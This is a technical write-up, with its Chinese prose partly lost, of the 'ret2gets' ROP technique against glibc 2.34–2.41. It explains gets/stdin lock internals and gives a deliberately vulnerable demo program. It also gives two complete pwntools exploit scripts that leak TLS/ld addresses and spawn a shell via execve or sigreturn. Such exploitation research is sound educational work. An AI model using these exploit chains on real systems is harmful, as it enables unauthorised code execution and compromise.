┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
 gadgets ret2gets 
~ CuB3y0nd
`ret2gets`  `glibc >= 2.34`  gadgets
 `gets` `printf / puts`  ld  R
OP Chain  trick 

:::tip
 trick  `GLIBC >= 2.34<= 2.41`  ROP Chain 
:::

 demo使 GLIBC  `2.41-6ubuntu1_amd64`

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include <stdio.h>

int main() {
  char buf[0x20];
  puts("ROP me if you can!");
  gets(buf);

  return 0;
}
```

:::important
`gets`  C11  C11 
 C99
:::

使 ropper  gadgets
 gadgets

```asm showLineNumbers=false collapse={4-114}
Gadgets
=======


0x000000000040106c: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f53]; hlt
; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106b: adc dword ptr ss:[rax], eax; call qword ptr [rip + 0x2f53]; 
hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401070: adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax]; endbr64; 
ret;
0x000000000040109c: adc ecx, dword ptr [rax - 0x75]; add eax, 0x2f2c; test rax, 
rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040110c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x3090; 
mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401074: add ah, dh; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040106e: add bh, bh; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + rax
]; endbr64; ret;
0x000000000040100e: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1],
 0xd0; add rsp, 8; ret;
0x000000000040107c: add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret
;
0x000000000040115a: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x000000000040115b: add byte ptr [rax], al; add cl, cl; ret;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax;
0x000000000040100d: add byte ptr [rax], al; test rax, rax; je 0x3016; call rax; 
add rsp, 8; ret;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0
x404020; jmp rax;
0x00000000004010a2: add byte ptr [rax], al; test rax, rax; je 0x30b0; mov edi, 0
x404020; jmp rax; ret;
0x00000000004010e4: add byte ptr [rax], al; test rax, rax; je 0x30f8; mov edi, 0
x404020; jmp rax;
0x000000000040107e: add byte ptr [rax], al; endbr64; ret;
0x0000000000401073: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; en
dbr64; ret;
0x000000000040115c: add byte ptr [rax], al; leave; ret;
0x00000000004010f6: add byte ptr [rax], al; ret;
0x00000000004010f5: add byte ptr [rax], r8b; ret;
0x000000000040109a: add byte ptr [rbx + rdx + 0x48], dh; mov eax, dword ptr [rip
 + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x0000000000401099: add byte ptr [rbx + rdx + 0x48], sil; mov eax, dword ptr [ri
p + 0x2f2c]; test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x000000000040111b: add byte ptr [rcx], al; pop rbp; ret;
0x00000000004010e3: add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mov edi
, 0x404020; jmp rax;
0x000000000040115d: add cl, cl; ret;
0x000000000040106d: add dil, dil; adc eax, 0x2f53; hlt; nop word ptr cs:[rax + r
ax]; endbr64; ret;
0x00000000004010e1: add eax, 0x2efa; test rax, rax; je 0x30f8; mov edi, 0x404020
; jmp rax;
0x000000000040109f: add eax, 0x2f2c; test rax, rax; je 0x30b0; mov edi, 0x404020
; jmp rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax;
0x000000000040100a: add eax, 0x2fc9; test rax, rax; je 0x3016; call rax; add rsp
, 8; ret;
0x0000000000401017: add esp, 8; ret;
0x0000000000401016: add rsp, 8; ret;
0x0000000000401154: call 0x3040; mov eax, 0; leave; ret;
0x0000000000401111: call 0x3090; mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x000000000040106f: call qword ptr [rip + 0x2f53]; hlt; nop word ptr cs:[rax + r
ax]; endbr64; ret;
0x0000000000401014: call rax;
0x0000000000401014: call rax; add rsp, 8; ret;
0x0000000000401006: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; te
st rax, rax; je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax;
0x0000000000401012: je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a7: je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x000000000040109b: je 0x30b0; mov rax, qword ptr [rip + 0x2f2c]; test rax, rax;
 je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e9: je 0x30f8; mov edi, 0x404020; jmp rax; nop word ptr [rax + r
ax]; ret;
0x00000000004010dd: je 0x30f8; mov rax, qword ptr [rip + 0x2efa]; test rax, rax;
 je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010ae: jmp rax;
0x00000000004010f0: jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010ae: jmp rax; ret;
0x000000000040114e: lea eax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0
; leave; ret;
0x000000000040114d: lea rax, [rbp - 0x20]; mov rdi, rax; call 0x3040; mov eax, 0
; leave; ret;
0x0000000000401116: mov byte ptr [rip + 0x2f03], 1; pop rbp; ret;
0x0000000000401159: mov eax, 0; leave; ret;
0x00000000004010e0: mov eax, dword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8;
 mov edi, 0x404020; jmp rax;
0x000000000040109e: mov eax, dword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0;
 mov edi, 0x404020; jmp rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax;
0x0000000000401009: mov eax, dword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax; add rsp, 8; ret;
0x000000000040110f: mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; p
op rbp; ret;
0x0000000000401069: mov edi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop w
ord ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax;
0x00000000004010eb: mov edi, 0x404020; jmp rax; nop word ptr [rax + rax]; ret;
0x00000000004010a9: mov edi, 0x404020; jmp rax; ret;
0x0000000000401152: mov edi, eax; call 0x3040; mov eax, 0; leave; ret;
0x00000000004010df: mov rax, qword ptr [rip + 0x2efa]; test rax, rax; je 0x30f8;
 mov edi, 0x404020; jmp rax;
0x000000000040109d: mov rax, qword ptr [rip + 0x2f2c]; test rax, rax; je 0x30b0;
 mov edi, 0x404020; jmp rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax;
0x0000000000401008: mov rax, qword ptr [rip + 0x2fc9]; test rax, rax; je 0x3016;
 call rax; add rsp, 8; ret;
0x000000000040110e: mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2f03], 1; p
op rbp; ret;
0x0000000000401068: mov rdi, 0x401136; call qword ptr [rip + 0x2f53]; hlt; nop w
ord ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401151: mov rdi, rax; call 0x3040; mov eax, 0; leave; ret;
0x0000000000401078: nop dword ptr [rax + rax]; endbr64; ret;
0x00000000004010f3: nop dword ptr [rax + rax]; ret;
0x0000000000401077: nop dword ptr cs:[rax + rax]; endbr64; ret;
0x00000000004010f2: nop word ptr [rax + rax]; ret;
0x0000000000401076: nop word ptr cs:[rax + rax]; endbr64; ret;
0x0000000000401007: or byte ptr [rax - 0x75], cl; add eax, 0x2fc9; test rax, rax
; je 0x3016; call rax;
0x000000000040111d: pop rbp; ret;
0x000000000040110d: push rbp; mov rbp, rsp; call 0x3090; mov byte ptr [rip + 0x2
f03], 1; pop rbp; ret;
0x0000000000401042: ret 0x2f;
0x0000000000401011: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004010de: sbb dword ptr [rax - 0x75], ecx; add eax, 0x2efa; test rax, 
rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010a0: sub al, 0x2f; add byte ptr [rax], al; test rax, rax; je 0x30
b0; mov edi, 0x404020; jmp rax;
0x0000000000401165: sub esp, 8; add rsp, 8; ret;
0x0000000000401005: sub esp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax
; je 0x3016; call rax;
0x0000000000401164: sub rsp, 8; add rsp, 8; ret;
0x0000000000401004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax, rax
; je 0x3016; call rax;
0x000000000040107a: test byte ptr [rax], al; add byte ptr [rax], al; add byte pt
r [rax], al; endbr64; ret;
0x0000000000401010: test eax, eax; je 0x3016; call rax;
0x0000000000401010: test eax, eax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a5: test eax, eax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e7: test eax, eax; je 0x30f8; mov edi, 0x404020; jmp rax; nop wo
rd ptr [rax + rax]; ret;
0x000000000040100f: test rax, rax; je 0x3016; call rax;
0x000000000040100f: test rax, rax; je 0x3016; call rax; add rsp, 8; ret;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax;
0x00000000004010a4: test rax, rax; je 0x30b0; mov edi, 0x404020; jmp rax; ret;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax;
0x00000000004010e6: test rax, rax; je 0x30f8; mov edi, 0x404020; jmp rax; nop wo
rd ptr [rax + rax]; ret;
0x00000000004010e2: cli; add byte ptr cs:[rax], al; test rax, rax; je 0x30f8; mo
v edi, 0x404020; jmp rax;
0x0000000000401163: cli; sub rsp, 8; add rsp, 8; ret;
0x0000000000401003: cli; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test rax
, rax; je 0x3016; call rax;
0x0000000000401083: cli; ret;
0x0000000000401160: endbr64; sub rsp, 8; add rsp, 8; ret;
0x0000000000401000: endbr64; sub rsp, 8; mov rax, qword ptr [rip + 0x2fc9]; test
 rax, rax; je 0x3016; call rax;
0x0000000000401080: endbr64; ret;
0x0000000000401075: hlt; nop word ptr cs:[rax + rax]; endbr64; ret;
0x000000000040115e: leave; ret;
0x000000000040111f: nop; ret;
0x000000000040101a: ret;

111 gadgets found
```

 gadgets  `__libc_csu_init`
 ROP Chain  gadgets GLIBC 2.34  [patch](http
s://sourceware.org/pipermail/libc-alpha/2021-February/122794.html) 
 gadgets 

 `gets`  `gets`  `rdi`  buf 
`ni`便 `rdi`  `*RDI  0x7ffff7e137c0 (_IO_stdfi
le_0_lock) <- 0`
 libc  rw 

```asm showLineNumbers=false
pwndbg> vmmap $rdi
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefe
r-relpaths on)
    0x7ffff7e11000     0x7ffff7e13000 rw-p     2000 210000 libc.so.6
->   0x7ffff7e13000     0x7ffff7e20000 rw-p     d000      0 [anon_7ffff7e13] +0x
7c0
    0x7ffff7fb4000     0x7ffff7fb9000 rw-p     5000      0 [anon_7ffff7fb4]
pwndbg> x/10gx $rdi
0x7ffff7e137c0 <_IO_stdfile_0_lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137d0 <__pthread_force_elision>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137e0 <__attr_list_lock>: 0x0000000000000000 0x0000000000000000
0x7ffff7e137f0 <init_sigcancel>: 0x0000000000000000 0x0000000000000000
0x7ffff7e13800 <__nptl_threads_events>: 0x0000000000000000 0x0000000000000000
```

 gets `_IO_stdfile_0_lock` 


 `_IO_stdfile_0_lock`

## _IO_stdfile_0_lock

 `_IO_stdfile_0_lock` 
线 `FILE`

 glibc 线线线使
 FILE 线使 FILE 
 FILE 

:::tip
 [glibc-2.41](https://elixir.bootlin.com/glibc/glibc-2.41/source/libio/ioget
s.c) 
:::

```c
char *
_IO_gets (char *buf)
{
  size_t count;
  int ch;
  char *retval;

  _IO_acquire_lock (stdin);
  ch = _IO_getc_unlocked (stdin);
  if (ch == EOF)
    {
      retval = NULL;
      goto unlock_return;
    }
  if (ch == 'n')
    count = 0;
  else
    {
      /* This is very tricky since a file descriptor may be in the
  non-blocking mode. The error flag doesn't mean much in this
  case. We return an error only when there is a new error. */
      int old_error = stdin->_flags & _IO_ERR_SEEN;
      stdin->_flags &= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, 'n', 0) + 1;
      if (stdin->_flags & _IO_ERR_SEEN)
 {
   retval = NULL;
   goto unlock_return;
 }
      else
 stdin->_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);
  return retval;
}

weak_alias (_IO_gets, gets)

link_warning (gets, "the `gets' function is dangerous and should not be used.")
```

使 `_IO_acquire_lock` 使 `_IO_release_lock` 
线 `stdin` 使访 stdin 线
线线

`FILE`  [_lock](https://elixir.bootlin.com/glibc/glibc-2.41/source/l
ibio/bits/types/struct_FILE.h#L84)  [_IO_lock_t](https://elixi
r.bootlin.com/glibc/glibc-2.41/source/sysdeps/nptl/stdio-lock.h#L26) 

```c {49} collapse={1-46}
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;

/* During the build of glibc itself, _IO_lock_t will already have been
   defined by internal headers.  */
#ifndef _IO_lock_t_defined
typedef void _IO_lock_t;
#endif

/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;  /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr; /* Current read pointer */
  char *_IO_read_end; /* End of get area. */
  char *_IO_read_base; /* Start of putback+get area. */
  char *_IO_write_base; /* Start of put area. */
  char *_IO_write_ptr; /* Current put pointer. */
  char *_IO_write_end; /* End of put area. */
  char *_IO_buf_base; /* Start of reserve area. */
  char *_IO_buf_end; /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2:24;
  /* Fallback buffer to use when malloc fails to allocate one.  */
  char _short_backupbuf[1];
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```

```c
typedef struct {
  int lock;
  int cnt;
  void *owner;
} _IO_lock_t;
```

:::important
 `_lock`  `rdi`  `_IO_stdfile_0_lock`

:::

### _IO_acquire_lock / _IO_release_lock

```c
#define _IO_USER_LOCK 0x8000

# ifdef __EXCEPTIONS
#  define _IO_acquire_lock(_fp) 
  do {                                                                    
    FILE *_IO_acquire_lock_file                                           
 __attribute__((cleanup (_IO_acquire_lock_fct)))                          
 = (_fp);                                                                 
    _IO_flockfile (_IO_acquire_lock_file);
# else
#  define _IO_acquire_lock(_fp) _IO_acquire_lock_needs_exceptions_enabled
# endif
# define _IO_release_lock(_fp) ; } while (0)
```

`__attribute__((cleanup (_IO_acquire_lock_fct))) = (_fp);`  cleanup 
 `_IO_acquire_lock_fct`  `_fp` 使 `do { ... } while (0)` 
 `_fp`  `_IO_acquire_lock_fct`  cleanup 

```c
static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
  FILE *fp = *p;
  if ((fp->_flags & _IO_USER_LOCK) == 0)
    _IO_funlockfile (fp);
}
```

`_IO_USER_LOCK`  I/O 

`_IO_acquire_lock_fct`  cleanup  `FILE`  `_IO_USER_LOC
K` 



```c
# define _IO_flockfile(_fp) 
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
# define _IO_funlockfile(_fp) 
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)
```

/ `flo
ckfile`  `funlockfile` if /

 `_IO_lock_lock`  `_IO_lock_unlock
`

### _IO_lock_lock / _IO_lock_unlock

```c
/* Initializers for lock.  */
#define LLL_LOCK_INITIALIZER (0)
#define LLL_LOCK_INITIALIZER_LOCKED (1)

#define _IO_lock_lock(_name) 
  do {                                               
    void *__self = THREAD_SELF;                      
    if (SINGLE_THREAD_P && (_name).owner == NULL)    
      {                                              
 (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;         
 (_name).owner = __self;                             
      }                                              
    else if ((_name).owner != __self)                
      {                                              
 lll_lock ((_name).lock, LLL_PRIVATE);               
 (_name).owner = __self;                             
      }                                              
    else                                             
      ++(_name).cnt;                                 
  } while (0)

#define _IO_lock_unlock(_name) 
  do {                                               
    if (SINGLE_THREAD_P && (_name).cnt == 0)         
      {                                              
 (_name).owner = NULL;                               
 (_name).lock = 0;                                   
      }                                              
    else if ((_name).cnt == 0)                       
      {                                              
 (_name).owner = NULL;                               
 lll_unlock ((_name).lock, LLL_PRIVATE);             
      }                                              
    else                                             
      --(_name).cnt;                                 
  } while (0)
```

 `_name`  `_IO_stdfile_0_lock``owner` 线 `TLS`
 

线 TLS  `THREAD_SELF`

1. 线线 `LOCKED` `
owner`
2. 线 `(_name).owner != __self`线线
 `lll_lock()`
3. 线线 `cnt`

:::tip
 `lll_lock()` 


 `futex (fast userspace mutex)` futex 

- 

- 线 futex 


  :::



1. 线 `cnt`  0 `owner`
2. 线 `cnt`  0 `owner` `lll_unlock()`  futex 

3.  `cnt > 0` `cnt` 

### _IO_stdfile_0_lock in RDI ?

 rdi  `_IO_stdfile_0_lock` 使


 `gets`  `_IO_release_lock (stdin)
`  `_IO_acquire_lock (_fp)`  c
leanup  `_fp`  `_IO_acquire_lock_fct` 
 `_IO_acquire_lock_fct (_fp)` `_IO_funlockfile (fp)` 
 `_IO_lock_unlock (*(_fp)->_lock)`
 `_IO_lock_unlock (*(_fp)->_lock)` 使 `_IO_stdfile_0_lock`

`_IO_release_lock(_fp)`  `_IO_releas
e_lock(_fp)`  cleanup 
 `_IO_lock_unlock (*(_fp)->_lock)` 
 `main` epilogue  rdi rdi 沿
 rdi `_IO_stdfile_0_lock` 

<em>
……

 LOL


</em>



## Attack

### Controlling RDI

 gets  rdi `_IO_stdfile_0_lock` 
 `/bin/sh`  rdi  `/bin/sh`  `p
op rdi; ret`  system  getshell 

 `gets`  `((_fp)->_flags & _IO_USER_
LOCK) == 0`  `_IO_lock_unlock (*(_fp)->_lock)`
西

 `_IO_lock_unlock`  `cnt`  0  side effect 
 `cnt`  `/bin/sh` 
 `cnt`


```python
payload = flat(
    b"A" * 0x28,
    elf.plt["gets"],
)
target.sendlineafter(b"ROP me if you can!", payload)

payload = flat(
    b"/bin",
    p8(u8(b"/") + 1),
    b"sh",
)
target.sendline(payload)
```
rdi  SIGSEGV
 ROP Chain 

:::tip
 `_IO_stdfile_0_lock` `/bin/sh` 
 `gets`  rdi  `/bin/sh`
 `cnt` `cnt`

:::

### Leaking libc / ld

 rdi  libc / ld 

#### printf

 `printf` `%?$p`  pr
intf 



#### puts

 `printf` `puts`  `_lock.owner` 
 TLS  ld  libc 

:::caution
 [ret2gets](#references)  libc 
 TLS  libc mmap  libc 
 ld 


 ld  gadgets  glibc 2.41  ld
 gadgets syscall onegadgets
 gadgets  `execve`  shell  xD

 sigreturn 
 trick LOL
:::

 glibc 使 `puts`  TLS 
 TLS 


 glibc [/](#_io_lock_lock--_io_lock_unlock)
 `gets` 线
 `owner`  NULL `SINGLE_THREAD_P && (_name).owner == NULL` 
 `LLL_LOCK_INITIALIZER_LOCKED` `owner`
  TLS 

 `gets`  `SI
NGLE_THREAD_P && (_name).cnt == 0`  `owner`  `lock` 
 puts  owner  TLS 

 `gets`  rdi  `_IO_stdfile_0_lock` `ge
ts` rdi 

 `owner` 
 `(_name).cnt == 0`  `cnt`  else if 
 else  `cnt` 

_PS: Reference  `_IO_lock_lock`怀
……_

 gets  `cnt`  `owner` 
 TLS  TLS
 `cnt`  `0x4141414000000000`

 `puts`  TLS 
 `gets` `lock`  gets 
 `(_name).owner != __self` else if  `o
wner`  TLS 

>  gets 便 `lock`  `gets
`  `x00` TLS 

 junk value padding  `lock`  `cnt`  `x00`

 `cnt` `x00`  `xff`
 `puts`  `puts
`  `_IO_stdfile_0_lock` TLS  ld 
 ld  ld  gadgets ROP 
 LOL

## Exploit

### Manually call execve

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)


FILE = "./vuln_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(ld)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x28,
        elf.plt["gets"],
        elf.plt["gets"],
        elf.plt["puts"],
        elf.sym["main"],
    )
    raw_input("DEBUG")
    target.sendlineafter(b"ROP me if you can!", payload)

    payload = flat(
        p32(0x0),  # lock
        b"A" * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b"BBBB")

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
    ld = tls + 0xC8C0
    target.success(f"tls: {hex(tls)}")
    target.success(f"ld: {hex(ld)}")

    gets = 0x40114D
    payload = flat(
        b"A" * 0x20,
        elf.bss() + 0xF00,
        gets,
    )
    target.sendlineafter(b"ROP me if you can!", payload)

    payload = flat(
        b"A" * 0x20,
        b"/bin/shx00",
        ld + rop.find_gadget(["pop rdi", "pop rbp", "ret"])[0],
        elf.bss() + 0xF00,
        0x0,
        ld + rop.find_gadget(["pop rsi", "pop rbp", "ret"])[0],
        0x0,
        0x404F60,
        ld + rop.find_gadget(["pop rdx", "leave", "ret"])[0],
        0x0,
        ld + rop.find_gadget(["pop rax", "ret"])[0],
        0x3B,
        ld + rop.find_gadget(["syscall", "ret"])[0],
    )
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

### Using sigreturn

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)


FILE = "./vuln_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(ld)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x28,
        elf.plt["gets"],
        elf.plt["gets"],
        elf.plt["puts"],
        elf.sym["main"],
    )
    raw_input("DEBUG")
    target.sendlineafter(b"ROP me if you can!", payload)

    payload = flat(
        p32(0x0),  # lock
        b"A" * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b"BBBB")

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
    ld = tls + 0xC8C0
    target.success(f"tls: {hex(tls)}")
    target.success(f"ld: {hex(ld)}")

    gets = 0x40114D
    payload = flat(
        b"A" * 0x20,
        elf.bss(),
        gets,
    )
    target.sendlineafter(b"ROP me if you can!", payload)

    frame = SigreturnFrame()
    frame.rax = 0x3B
    frame.rdi = elf.bss()
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rip = ld + rop.find_gadget(["syscall", "ret"])[0]

    payload = flat(
        b"A" * 0x20,
        b"/bin/shx00",
        ld + rop.find_gadget(["pop rax", "ret"])[0],
        0xF,
        ld + rop.find_gadget(["syscall", "ret"])[0],
        bytes(frame),
    )
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Digging Deeper

### RDI != _IO_stdfile_0_lock

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include <stdio.h>

int main() {
  char buf[0x20];
  puts("ROP me if you can!");
  gets(buf);
  puts("No lock for you ;)");

  return 0;
}
```

#### Case 1: RDI is Writable

 `puts`  rdi  `_IO_stdfile_0_lock`  `_
IO_stdfile_1_lock` `gets
`  rdi  `_IO_stdfile_0_lock` 

:::warning
 `gets` rdi 
:::

#### Case 2: RDI is Readonly

 rdi 使 `gets` 使 `puts`
 rdi `_IO_stdfile_1_lock`使 ROP Ch
ain 

#### Case 3: RDI == NULL

 IO 

##### printf / scanf

[printf](https://elixir.bootlin.com/glibc/glibc-2.41/source/stdio-common/printf.
c) 

```c
int
__printf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfprintf_internal (stdout, format, arg, 0);
  va_end (arg);

  return done;
}

#undef _IO_printf
ldbl_strong_alias (__printf, printf);
ldbl_strong_alias (__printf, _IO_printf);
```

`va_list` `va_start (arg, format)` 
 `format` 
 `printf`  `format``va_end` 
访

 `__vfprintf_internal (stdout, format, arg, 0)`  rdi  `stdout`

```c collapse={12-49}
/* The FILE-based function.  */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
  /* Orient the stream.  */
#ifdef ORIENT
  ORIENT;
#endif

  /* Sanity check of arguments.  */
  ARGCHECK (s, format);

#ifdef ORIENT
  /* Check for correct orientation.  */
  if (_IO_vtable_offset (s) == 0
      && _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1)
      != (sizeof (CHAR_T) == 1 ? -1 : 1))
    /* The stream is already oriented otherwise.  */
    return EOF;
#endif

  if (!_IO_need_lock (s))
    {
      struct Xprintf (buffer_to_file) wrap;
      Xprintf (buffer_to_file_init) (&wrap, s);
      Xprintf_buffer (&wrap.base, format, ap, mode_flags);
      return Xprintf (buffer_to_file_done) (&wrap);
    }

  int done;

  /* Lock stream.  */
  _IO_cleanup_region_start ((void (*) (void *)) &_IO_funlockfile, s);
  _IO_flockfile (s);

  /* Set up the wrapping buffer.  */
  struct Xprintf (buffer_to_file) wrap;
  Xprintf (buffer_to_file_init) (&wrap, s);

  /* Perform the printing operation on the buffer.  */
  Xprintf_buffer (&wrap.base, format, ap, mode_flags);
  done = Xprintf (buffer_to_file_done) (&wrap);

  /* Unlock the stream.  */
  _IO_funlockfile (s);
  _IO_cleanup_region_end (0);

  return done;
}
```

 `ARGCHECK`  `Format == NULL`  `printf` 
 `__vfprintf_internal`  rdi 

```c {12-16}
#define ARGCHECK(S, Format) 
  do                                                     
    {                                                    
      /* Check file argument for consistence.  */        
      CHECK_FILE (S, -1);                                
      if (S->_flags & _IO_NO_WRITES)                     
       {                                                 
  S->_flags |= _IO_ERR_SEEN;                             
  __set_errno (EBADF);                                   
  return -1;                                             
       }                                                 
      if (Format == NULL)                                
       {                                                 
  __set_errno (EINVAL);                                  
  return -1;                                             
       }                                                 
    } while (0)
```

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include <stdio.h>

int main() {
  printf(NULL);

  return 0;
}
```

rdi  `_IO_2_1_stdout_`
使 `gets` 
 FSOP  leak


- <https://0xdf.gitlab.io/2021/01/16/htb-ropetwo.html#leak-libc>
- <https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html>
- <https://vigneshsrao.github.io/posts/babytcache/>

 `scanf`  `printf`  `scanf(NULL)`rdi 
 `_IO_2_1_stdin_`

##### fflush

 `FILE`  [fflush](https://elixir.b
ootlin.com/glibc/glibc-2.41/source/libio/iofflush.c#L31)  rdi  NULL 
 `_IO_flush_all`  IO

```c {2-3}
int _IO_fflush(FILE *fp) {
  if (fp == NULL)
    return _IO_flush_all();
  else {
    int result;
    CHECK_FILE(fp, EOF);
    _IO_acquire_lock(fp);
    result = _IO_SYNC(fp) ? EOF : 0;
    _IO_release_lock(fp);
    return result;
  }
}
libc_hidden_def(_IO_fflush)

weak_alias (_IO_fflush, fflush)
libc_hidden_weak (fflush)

#ifndef _IO_MTSAFE_IO
strong_alias (_IO_fflush, __fflush_unlocked)
libc_hidden_def (__fflush_unlocked)
weak_alias (_IO_fflush, fflush_unlocked)
libc_hidden_weak (fflush_unlocked)
#endif
```

```c {20, 24-27}
int _IO_flush_all(void) {
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg(flush_cleanup);
  _IO_lock_lock(list_all_lock);
#endif

  for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain) {
    run_fp = fp;
    _IO_flockfile(fp);

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ||
         (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 &&
          (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))) &&
        _IO_OVERFLOW(fp, EOF) == EOF)
      result = EOF;

    _IO_funlockfile(fp);
    run_fp = NULL;
  }

